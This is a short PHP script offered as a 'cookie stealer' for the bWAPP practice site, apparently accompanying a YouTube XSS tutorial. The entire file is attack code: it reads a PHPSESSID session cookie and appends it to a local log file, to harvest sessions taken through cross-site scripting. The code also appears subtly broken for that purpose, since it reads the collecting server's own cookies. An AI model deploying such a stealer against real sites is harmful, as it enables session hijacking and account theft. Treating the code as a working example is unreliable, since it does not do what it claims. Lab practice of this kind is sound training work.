Simple PHP Cookie Stealer

//This Cookie Stealer is for the BWAPP Website.
//Created by JackkTutorials @ YouTube.com/JackkTutorials for use with Video Title: Basic XSS Guide #1 -  Alert() - Redirection - Cookie Stealing

<?php
$cookie = $_COOKIE['PHPSESSID'];
$file = fopen('coookie.txt', 'a');
fwrite($file, $cookie . "\n\n");
?>